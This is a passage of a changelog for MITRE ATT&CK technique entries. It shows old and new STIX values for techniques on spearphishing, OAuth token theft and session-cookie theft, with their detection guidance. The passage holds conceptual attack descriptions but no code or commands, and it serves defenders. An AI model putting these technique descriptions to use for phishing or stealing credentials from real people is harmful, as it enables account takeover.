Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'} | |
| external_references | {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'} | |
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Detonation chamber | |
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | Mail server |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send spearphis | t | 1 | Adversaries may send spearphishing messages with a malicious |
| > | hing messages with a malicious attachment to elicit sensitiv | > | attachment to elicit sensitive information that can be used | ||
| > | e information that can be used during targeting. Spearphishi | > | during targeting. Spearphishing for information is an attem | ||
| > | ng for information is an attempt to trick targets into divul | > | pt to trick targets into divulging information, frequently c | ||
| > | ging information, frequently credentials or other actionable | > | redentials or other actionable information. Spearphishing fo | ||
| > | information. Spearphishing for information frequently invol | > | r information frequently involves social engineering techniq | ||
| > | ves social engineering techniques, such as posing as a sourc | > | ues, such as posing as a source with a reason to collect inf | ||
| > | e with a reason to collect information (ex: [Establish Accou | > | ormation (ex: [Establish Accounts](https://attack.mitre.org/ | ||
| > | nts](https://attack.mitre.org/techniques/T1585) or [Compromi | > | techniques/T1585) or [Compromise Accounts](https://attack.mi | ||
| > | se Accounts](https://attack.mitre.org/techniques/T1586)) and | > | tre.org/techniques/T1586)) and/or sending multiple, seemingl | ||
| > | /or sending multiple, seemingly urgent messages. All forms | > | y urgent messages. All forms of spearphishing are electroni | ||
| > | of spearphishing are electronically delivered social enginee | > | cally delivered social engineering targeted at a specific in | ||
| > | ring targeted at a specific individual, company, or industry | > | dividual, company, or industry. In this scenario, adversarie | ||
| > | . In this scenario, adversaries attach a file to the spearph | > | s attach a file to the spearphishing email and usually rely | ||
| > | ishing email and usually rely upon the recipient populating | > | upon the recipient populating information then returning the | ||
| > | information then returning the file.(Citation: Sophos Attach | > | file.(Citation: Sophos Attachment)(Citation: GitHub Phisher | ||
| > | ment)(Citation: GitHub Phishery) The text of the spearphishi | > | y) The text of the spearphishing email usually tries to give | ||
| > | ng email usually tries to give a plausible reason why the fi | > | a plausible reason why the file should be filled-in, such a | ||
| > | le should be filled-in, such as a request for information fr | > | s a request for information from a business associate. Adver | ||
| > | om a business associate. Adversaries may also use informatio | > | saries may also use information from previous reconnaissance | ||
| > | n from previous reconnaissance efforts (ex: [Search Open Web | > | efforts (ex: [Search Open Websites/Domains](https://attack. | ||
| > | sites/Domains](https://attack.mitre.org/techniques/T1593) or | > | mitre.org/techniques/T1593) or [Search Victim-Owned Websites | ||
| > | [Search Victim-Owned Websites](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1594)) to craft persu | ||
| > | hniques/T1594)) to craft persuasive and believable lures. | > | asive and believable lures. | ||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:12:48.152000+00:00 | 2021-04-15 03:41:33.335000+00:00 |
| description | Before compromising a victim, adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
| x_mitre_data_sources[0] | Mail server | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Email gateway | Network Traffic: Network Traffic Content |
| x_mitre_detection | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Philip Winther | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious l | t | 1 | Adversaries may send spearphishing emails with a malicious l |
| > | ink in an attempt to gain access to victim systems. Spearphi | > | ink in an attempt to gain access to victim systems. Spearphi | ||
| > | shing with a link is a specific variant of spearphishing. It | > | shing with a link is a specific variant of spearphishing. It | ||
| > | is different from other forms of spearphishing in that it e | > | is different from other forms of spearphishing in that it e | ||
| > | mploys the use of links to download malware contained in ema | > | mploys the use of links to download malware contained in ema | ||
| > | il, instead of attaching malicious files to the email itself | > | il, instead of attaching malicious files to the email itself | ||
| > | , to avoid defenses that may inspect email attachments. Al | > | , to avoid defenses that may inspect email attachments. Spea | ||
| > | l forms of spearphishing are electronically delivered social | > | rphishing may also involve social engineering techniques, su | ||
| > | engineering targeted at a specific individual, company, or | > | ch as posing as a trusted source. All forms of spearphishin | ||
| > | industry. In this case, the malicious emails contain links. | > | g are electronically delivered social engineering targeted a | ||
| > | Generally, the links will be accompanied by social engineeri | > | t a specific individual, company, or industry. In this case, | ||
| > | ng text and require the user to actively click or copy and p | > | the malicious emails contain links. Generally, the links wi | ||
| > | aste a URL into a browser, leveraging [User Execution](https | > | ll be accompanied by social engineering text and require the | ||
| > | ://attack.mitre.org/techniques/T1204). The visited website m | > | user to actively click or copy and paste a URL into a brows | ||
| > | ay compromise the web browser using an exploit, or the user | > | er, leveraging [User Execution](https://attack.mitre.org/tec | ||
| > | will be prompted to download applications, documents, zip fi | > | hniques/T1204). The visited website may compromise the web b | ||
| > | les, or even executables depending on the pretext for the em | > | rowser using an exploit, or the user will be prompted to dow | ||
| > | ail in the first place. Adversaries may also include links t | > | nload applications, documents, zip files, or even executable | ||
| > | hat are intended to interact directly with an email reader, | > | s depending on the pretext for the email in the first place. | ||
| > | including embedded images intended to exploit the end system | > | Adversaries may also include links that are intended to int | ||
| > | directly or verify the receipt of an email (i.e. web bugs/w | > | eract directly with an email reader, including embedded imag | ||
| > | eb beacons). Links may also direct users to malicious applic | > | es intended to exploit the end system directly or verify the | ||
| > | ations designed to [Steal Application Access Token](https:/ | > | receipt of an email (i.e. web bugs/web beacons). Links may | ||
| > | /attack.mitre.org/techniques/T1528)s, like OAuth tokens, in | > | also direct users to malicious applications designed to [St | ||
| > | order to gain access to protected applications and informati | > | eal Application Access Token](https://attack.mitre.org/techn | ||
| > | on.(Citation: Trend Micro Pawn Storm OAuth 2017) | > | iques/T1528)s, like OAuth tokens, in order to gain access to | ||
| > | protected applications and information.(Citation: Trend Mic | ||||
| > | ro Pawn Storm OAuth 2017) | ||||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 01:53:39.818000+00:00 | 2021-04-14 14:38:42.715000+00:00 |
| description | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017) | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017) |
| x_mitre_data_sources[0] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Web proxy | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Email gateway | Network Traffic: Network Traffic Flow |
| x_mitre_detection | URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. | URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'} | |
| external_references | {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'} | |
| x_mitre_contributors | Philip Winther | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Detonation chamber | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_data_sources | DNS records | |
| x_mitre_data_sources | Mail server |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send spearphis | t | 1 | Adversaries may send spearphishing messages with a malicious |
| > | hing messages with a malicious link to elicit sensitive info | > | link to elicit sensitive information that can be used durin | ||
| > | rmation that can be used during targeting. Spearphishing for | > | g targeting. Spearphishing for information is an attempt to | ||
| > | information is an attempt to trick targets into divulging i | > | trick targets into divulging information, frequently credent | ||
| > | nformation, frequently credentials or other actionable infor | > | ials or other actionable information. Spearphishing for info | ||
| > | mation. Spearphishing for information frequently involves so | > | rmation frequently involves social engineering techniques, s | ||
| > | cial engineering techniques, such as posing as a source with | > | uch as posing as a source with a reason to collect informati | ||
| > | a reason to collect information (ex: [Establish Accounts](h | > | on (ex: [Establish Accounts](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1585) or [Compromise Acc | > | ques/T1585) or [Compromise Accounts](https://attack.mitre.or | ||
| > | ounts](https://attack.mitre.org/techniques/T1586)) and/or se | > | g/techniques/T1586)) and/or sending multiple, seemingly urge | ||
| > | nding multiple, seemingly urgent messages. All forms of spe | > | nt messages. All forms of spearphishing are electronically | ||
| > | arphishing are electronically delivered social engineering t | > | delivered social engineering targeted at a specific individu | ||
| > | argeted at a specific individual, company, or industry. In t | > | al, company, or industry. In this scenario, the malicious em | ||
| > | his scenario, the malicious emails contain links generally a | > | ails contain links generally accompanied by social engineeri | ||
| > | ccompanied by social engineering text to coax the user to ac | > | ng text to coax the user to actively click or copy and paste | ||
| > | tively click or copy and paste a URL into a browser.(Citatio | > | a URL into a browser.(Citation: TrendMictro Phishing)(Citat | ||
| > | n: TrendMictro Phishing)(Citation: PCMag FakeLogin) The give | > | ion: PCMag FakeLogin) The given website may closely resemble | ||
| > | n website may closely resemble a legitimate site in appearan | > | a legitimate site in appearance and have a URL containing e | ||
| > | ce and have a URL containing elements from the real site. Fr | > | lements from the real site. From the fake website, informati | ||
| > | om the fake website, information is gathered in web forms an | > | on is gathered in web forms and sent to the attacker. Advers | ||
| > | d sent to the attacker. Adversaries may also use information | > | aries may also use information from previous reconnaissance | ||
| > | from previous reconnaissance efforts (ex: [Search Open Webs | > | efforts (ex: [Search Open Websites/Domains](https://attack.m | ||
| > | ites/Domains](https://attack.mitre.org/techniques/T1593) or | > | itre.org/techniques/T1593) or [Search Victim-Owned Websites] | ||
| > | [Search Victim-Owned Websites](https://attack.mitre.org/tech | > | (https://attack.mitre.org/techniques/T1594)) to craft persua | ||
| > | niques/T1594)) to craft persuasive and believable lures. | > | sive and believable lures. | ||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:13:12.752000+00:00 | 2021-04-15 03:42:26.537000+00:00 |
| description | Before compromising a victim, adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
| x_mitre_data_sources[0] | Mail server | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Email gateway | Network Traffic: Network Traffic Content |
| x_mitre_detection | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Philip Winther | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can steal user application access tokens as a me | t | 1 | Adversaries can steal user application access tokens as a me |
| > | ans of acquiring credentials to access remote systems and re | > | ans of acquiring credentials to access remote systems and re | ||
| > | sources. This can occur through social engineering and typic | > | sources. This can occur through social engineering and typic | ||
| > | ally requires user action to grant access. Application acce | > | ally requires user action to grant access. Application acce | ||
| > | ss tokens are used to make authorized API requests on behalf | > | ss tokens are used to make authorized API requests on behalf | ||
| > | of a user and are commonly used as a way to access resource | > | of a user and are commonly used as a way to access resource | ||
| > | s in cloud-based applications and software-as-a-service (Saa | > | s in cloud-based applications and software-as-a-service (Saa | ||
| > | S).(Citation: Auth0 - Why You Should Always Use Access Token | > | S).(Citation: Auth0 - Why You Should Always Use Access Token | ||
| > | s to Secure APIs Sept 2019) OAuth is one commonly implemente | > | s to Secure APIs Sept 2019) OAuth is one commonly implemente | ||
| > | d framework that issues tokens to users for access to system | > | d framework that issues tokens to users for access to system | ||
| > | s. An application desiring access to cloud-based services or | > | s. An application desiring access to cloud-based services or | ||
| > | protected APIs can gain entry using OAuth 2.0 through a var | > | protected APIs can gain entry using OAuth 2.0 through a var | ||
| > | iety of authorization protocols. An example commonly-used se | > | iety of authorization protocols. An example commonly-used se | ||
| > | quence is Microsoft's Authorization Code Grant flow.(Citatio | > | quence is Microsoft's Authorization Code Grant flow.(Citatio | ||
| > | n: Microsoft Identity Platform Protocols May 2019)(Citation: | > | n: Microsoft Identity Platform Protocols May 2019)(Citation: | ||
| > | Microsoft - OAuth Code Authorization flow - June 2019) An O | > | Microsoft - OAuth Code Authorization flow - June 2019) An O | ||
| > | Auth access token enables a third-party application to inter | > | Auth access token enables a third-party application to inter | ||
| > | act with resources containing user data in the ways requeste | > | act with resources containing user data in the ways requeste | ||
| > | d by the application without obtaining user credentials. | > | d by the application without obtaining user credentials. | ||
| > | Adversaries can leverage OAuth authorization by constructing | > | Adversaries can leverage OAuth authorization by constructing | ||
| > | a malicious application designed to be granted access to re | > | a malicious application designed to be granted access to re | ||
| > | sources with the target user's OAuth token. The adversary wi | > | sources with the target user's OAuth token. The adversary wi | ||
| > | ll need to complete registration of their application with t | > | ll need to complete registration of their application with t | ||
| > | he authorization server, for example Microsoft Identity Plat | > | he authorization server, for example Microsoft Identity Plat | ||
| > | form using Azure Portal, the Visual Studio IDE, the command- | > | form using Azure Portal, the Visual Studio IDE, the command- | ||
| > | line interface, PowerShell, or REST API calls.(Citation: Mic | > | line interface, PowerShell, or REST API calls.(Citation: Mic | ||
| > | rosoft - Azure AD App Registration - May 2019) Then, they ca | > | rosoft - Azure AD App Registration - May 2019) Then, they ca | ||
| > | n send a link through [Spearphishing Link](https://attack.mi | > | n send a link through [Spearphishing Link](https://attack.mi | ||
| > | tre.org/techniques/T1192) to the target user to entice them | > | tre.org/techniques/T1566/002) to the target user to entice t | ||
| > | to grant access to the application. Once the OAuth access to | > | hem to grant access to the application. Once the OAuth acces | ||
| > | ken is granted, the application can gain potentially long-te | > | s token is granted, the application can gain potentially lon | ||
| > | rm access to features of the user account through [Applicati | > | g-term access to features of the user account through [Appli | ||
| > | on Access Token](https://attack.mitre.org/techniques/T1527). | > | cation Access Token](https://attack.mitre.org/techniques/T15 | ||
| > | (Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) | > | 50/001).(Citation: Microsoft - Azure AD Identity Tokens - Au | ||
| > | Adversaries have been seen targeting Gmail, Microsoft Outlo | > | g 2019) Adversaries have been seen targeting Gmail, Microso | ||
| > | ok, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing A | > | ft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Ph | ||
| > | ttacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth | > | ishing Attacks, August 2019)(Citation: Trend Micro Pawn Stor | ||
| > | 2017) | > | m OAuth 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:16:30.906000+00:00 | 2021-04-14 17:56:17.311000+00:00 |
| description | Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1192) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1527).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) | Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) |
| x_mitre_data_sources[0] | Azure activity logs | User Account: User Account Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | OAuth audit logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may steal web application or service session co | t | 1 | An adversary may steal web application or service session co |
| > | okies and use them to gain access web applications or Intern | > | okies and use them to gain access to web applications or Int | ||
| > | et services as an authenticated user without needing credent | > | ernet services as an authenticated user without needing cred | ||
| > | ials. Web applications and services often use session cookie | > | entials. Web applications and services often use session coo | ||
| > | s as an authentication token after a user has authenticated | > | kies as an authentication token after a user has authenticat | ||
| > | to a website. Cookies are often valid for an extended perio | > | ed to a website. Cookies are often valid for an extended pe | ||
| > | d of time, even if the web application is not actively used. | > | riod of time, even if the web application is not actively us | ||
| > | Cookies can be found on disk, in the process memory of the | > | ed. Cookies can be found on disk, in the process memory of t | ||
| > | browser, and in network traffic to remote systems. Additiona | > | he browser, and in network traffic to remote systems. Additi | ||
| > | lly, other applications on the targets machine might store s | > | onally, other applications on the targets machine might stor | ||
| > | ensitive authentication cookies in memory (e.g. apps which a | > | e sensitive authentication cookies in memory (e.g. apps whic | ||
| > | uthenticate to cloud services). Session cookies can be used | > | h authenticate to cloud services). Session cookies can be us | ||
| > | to bypasses some multi-factor authentication protocols.(Cita | > | ed to bypasses some multi-factor authentication protocols.(C | ||
| > | tion: Pass The Cookie) There are several examples of malwar | > | itation: Pass The Cookie) There are several examples of mal | ||
| > | e targeting cookies from web browsers on the local system.(C | > | ware targeting cookies from web browsers on the local system | ||
| > | itation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Ma | > | .(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 | ||
| > | c Crypto Cookies January 2019) There are also open source fr | > | Mac Crypto Cookies January 2019) There are also open source | ||
| > | ameworks such as Evilginx 2 and Muraena that can gather sess | > | frameworks such as Evilginx 2 and Muraena that can gather s | ||
| > | ion cookies through a man-in-the-middle proxy that can be se | > | ession cookies through a man-in-the-middle proxy that can be | ||
| > | t up by an adversary and used in phishing campaigns.(Citatio | > | set up by an adversary and used in phishing campaigns.(Cita | ||
| > | n: Github evilginx2)(Citation: GitHub Mauraena) After an ad | > | tion: Github evilginx2)(Citation: GitHub Mauraena) After an | ||
| > | versary acquires a valid cookie, they can then perform a [We | > | adversary acquires a valid cookie, they can then perform a | ||
| > | b Session Cookie](https://attack.mitre.org/techniques/T1506) | > | [Web Session Cookie](https://attack.mitre.org/techniques/T15 | ||
| > | technique to login to the corresponding web application. | > | 50/004) technique to login to the corresponding web applicat | ||
| > | ion. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-21 15:26:25.584000+00:00 | 2021-04-14 17:57:07.903000+00:00 |
| description | An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session 